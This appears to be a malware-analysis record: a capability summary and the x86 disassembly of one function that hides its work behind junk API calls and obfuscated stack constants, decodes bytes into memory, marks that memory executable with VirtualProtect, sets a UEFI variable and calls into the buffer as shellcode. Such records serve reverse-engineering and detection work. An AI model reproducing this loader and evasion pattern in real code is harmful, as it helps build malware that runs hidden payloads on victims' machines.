Function at 0x403340
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Move file
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x42eabb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x12b0
call fcn.0040d870
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x49d36c], 0xac
push edi
jne 0x403437
push esi
lea eax, [esp + 0xac4]
push eax
push esi
push 0x402ca8
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov dword [esp + 0x104], 0xf
mov dword [esp + 0x100], esi
mov byte [esp + 0xf0], 0
push esi
mov dword [esp + 0x1300], esi
call fcn.004046b8
add esp, 4
call fcn.00404512
push 1
push 0x4310c0
lea ecx, [esp + 0xd0]
call fcn.0040473f
lea ecx, [esp + 0xc8]
mov dword [esp + 0xc8], 0x402dcc
call fcn.004047b9
push esi
call fcn.0040486c
add esp, 4
push esi
call fcn.0040483d
add esp, 4
push esi
push esi
call fcn.00404877
push esi
push esi
call fcn.004046a1
add esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004048de
fstp st(0)
add esp, 8
push esi
call fcn.00404c38
mov edi, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
cmp esi, 0xd2b2
jge 0x403466
push 0
lea ecx, [esp + 0xac4]
push ecx
call edi
push 0
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x13911
jl 0x403443
add dword [0x49d36c], 0x11b1b
call fcn.00403320
mov ecx, dword [0x49d36c]
mov edx, dword [0x49a278]
lea eax, [esp + 0x54]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x49d36c], esi
jbe 0x403577
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea esp, [esp]
mov eax, dword [0x49dd0c]
mov cl, byte [eax + esi + 0x11b1b]
mov edx, dword [0x49a278]
mov byte [edx + esi], cl
cmp dword [0x49d36c], 0xa8
jne 0x40356a
push 0
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
call ebp
lea eax, [esp + 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea ecx, [esp + 0x228]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [esp + 0x48]
push edx
push 0
push 0
lea eax, [esp + 0x5c]
push eax
push 0
lea ecx, [esp + 0x58]
push ecx
push 0
mov dword [esp + 0x64], 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
xor eax, eax
mov word [esp + 0x42], ax
lea ecx, [esp + 0x4c]
push ecx
mov word [esp + 0x44], dx
mov edx, dword [esp + 0x44]
push edx
lea eax, [esp + 0xd0]
push eax
lea ecx, [esp + 0xf0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
inc esi
cmp esi, dword [0x49d36c]
jb 0x4034c0
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov ebx, dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor eax, eax
mov dword [esp + 0x44], eax
mov edx, dword [0x49d36c]
add edx, eax
cmp edx, 0xe
jne 0x403613
push 0
lea eax, [esp + 0x54]
push eax
call esi
push 0
push 0
push 0
call edi
call ebp
push 0
push 0
push 0
push 0
push 0
call ebx
xor edx, edx
xor ecx, ecx
mov word [esp + 0x40], cx
mov word [esp + 0x42], dx
mov eax, dword [esp + 0x40]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
lea ecx, [esp + 0x108]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x402cc8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [esp + 0x44]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x44], eax
jl 0x403595
mov edi, dword [sym.imp.GDI32.dll_GetBrushOrgEx]
mov esi, 0x4f4
mov edi, edi
push 0
push 0
call edi
sub esi, 1
jne 0x403630
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x3ba47de
jge 0x403a87
mov dword [esp + 0xe0], 0x45163432
mov dword [esp + 0x74], 0x365f6e7c
mov dword [esp + 0xe4], 0x1c9f8f9e
mov dword [esp + 0x5c], 0x5fa72fdc
mov dword [esp + 0x50], 0x1d0c749
mov dword [esp + 0xc4], 0x4f80fefc
mov dword [esp + 0x68], 0x4c0c1ba7
mov dword [esp + 0xac], 0x109ac3ac
mov dword [esp + 0x98], 0x1cfe86f0
mov dword [esp + 0xa8], 0x4ff77d0a
mov dword [esp + 0x80], 0x1d066b66
mov dword [esp + 0xd8], 0x730e096d
mov dword [esp + 0x44], 0xf8da946
mov dword [esp + 0x78], 0x2b453a2c
mov dword [esp + 0x6c], 0x196fddf2
mov dword [esp + 0xdc], 0x579cd831
mov dword [esp + 0xa0], 0x594610ff
mov dword [esp + 0x9c], 0x4c24cf86
mov dword [esp + 0x64], 0x38f38c7d
mov dword [esp + 0x4c], 0x42509c7f
mov dword [esp + 0xa4], 0x6c728c2e
mov dword [esp + 0xb4], 0x5f0b9dc5
mov dword [esp + 0x60], 0x3de54433
mov dword [esp + 0xb8], 0x4d6a35bd
mov dword [esp + 0x58], 0x701a6f09
mov dword [esp + 0x94], 0x3de7c98d
mov dword [esp + 0x88], 0x70f432cb
mov dword [esp + 0x90], 0x553c193
mov dword [esp + 0x40], 0x460019d7
mov dword [esp + 0x48], 0x1d71183f
mov dword [esp + 0xc0], 0x350fe109
mov dword [esp + 0x84], 0x750b4476
mov dword [esp + 0xc8], 0x7c9ab592
mov dword [esp + 0x70], 0x447a45e
mov dword [esp + 0xb0], 0xd51ab
mov dword [esp + 0x8c], 0x231131a9
mov dword [esp + 0xbc], 0x354406f6
mov dword [esp + 0x7c], 0x1ce54cc2
mov dword [esp + 0xd4], 0x7da4391a
add dword [esp + 0xe0], 0x1c00533b
sub dword [esp + 0x74], 0x506befb3
sub dword [esp + 0x74], 0x47ff376b
sub dword [esp + 0x5c], 0x1364af7e
add dword [esp + 0x74], 0x1ecc8725
add dword [esp + 0xe4], 0x11e9ba3a
add dword [esp + 0x50], 0x5ec6c150
mov eax, 0x2bbbdac
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
sub dword [esp + 0x50], 0x46eb3026
mov eax, 0x310dd3e8
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
add dword [esp + 0x5c], 0x26a842d7
add dword [esp + 0x74], 0x2aeec06f
add dword [esp + 0x68], 0xcdff0fd
sub dword [esp + 0xc4], 0x713b27ff
mov eax, 0x377f9670
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
mov eax, 0x5d39ffcf
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x50], 0x57e748e3
add dword [esp + 0x68], 0x70063621
add dword [esp + 0x74], 0x40855e35
add dword [esp + 0xe0], 0x5e24bdd
add dword [esp + 0xc4], 0x4f300ef8
add dword [esp + 0xc4], 0x1f351b75
sub dword [esp + 0xc4], 0x2648746d
sub dword [esp + 0x98], 0x768f021b
add dword [esp + 0xc4], 0x551251ce
add dword [esp + 0x80], 0x665e40b0
sub dword [esp + 0xe0], 0x439c32e
add dword [esp + 0xd8], 0x6f8ca1d9
sub dword [esp + 0xe4], 0x53b40143
add dword [esp + 0x5c], 0x6e9692e
mov eax, 0x5bf6d3b5
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0xd3430a9
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
mov eax, 0x37729c5f
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0xd8], 0x2cf52702
sub dword [esp + 0x98], 0x2daf2947
sub dword [esp + 0xb8], 0x3fa66771
mov eax, 0x536d7bb0
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
add dword [esp + 0x9c], 0x531c4426
add dword [esp + 0x44], 0x1f35aa03
sub dword [esp + 0x6c], 0x2f11117e
mov eax, 0x792c2eb0
mul dword [esp + 0xa8]
mov eax, dword [esp + 0xa8]
add dword [esp + 0x9c], 0x3291341f
sub dword [esp + 0x60], 0x380856bc
mov eax, 0x2afe4fa3
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x3305a957
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
sub dword [esp + 0xdc], 0x41897da1
sub dword [esp + 0x4c], 0x5cd7e062
sub dword [esp + 0x9c], 0x1adf1bc4
add dword [esp + 0x68], 0x60a46988
mov eax, 0x3b198bef
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
sub dword [esp + 0xac], 0x5b3f12a3
add dword [esp + 0x50], 0x5733f9a8
mov eax, 0x4c6bf40b
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x5358eeda
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0xc8], 0x544ac742
mov eax, 0x506480bf
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
mov eax, 0x2f3a7ef9
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
mov eax, 0x2494800
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
add dword [esp + 0xc8], 0x3f0b950
add dword [esp + 0xc0], 0x1148d0b9
sub dword [esp + 0xd8], 0x5516ae52
cmp esi, 0xbfa539
jg 0x403a9c
inc esi
cmp esi, 0x19ce67f8
jl 0x403641
call fcn.00403200
xor edx, edx
cmp edx, 0x26
jne 0x403aad
call fcn.00403300
inc edx
cmp edx, 0x409495
jl 0x403aa3
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov ebp, 0x7b
lea ecx, [ecx]
cmp dword [0x49d36c], 0x86
jne 0x403aea
push 0
call esi
push 0
call edi
push 0
push 0
call ebx
sub ebp, 1
jne 0x403ad0
mov esi, dword [sym.imp.KERNEL32.dll_HeapSize]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov dword [esp + 0x40], 0x180ef
nop
cmp dword [0x49d36c], 0x1f
jne 0x403b68
push 0
push 0
push 0
call esi
push 0
lea eax, [esp + 0x5c]
push eax
push 0
lea ecx, [esp + 0x2cc]
push ecx
push 0
call edi
push 0
lea edx, [esp + 0x6c4]
push edx
call ebx
push 0
push 0
push 0x402d28
push 0x402d74
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
sub dword [esp + 0x40], 1
jne 0x403b10
push 0x402db0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x49a278]
mov dword [0x49a27c], eax
call eax
mov ecx, dword [esp + 0x12f4]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret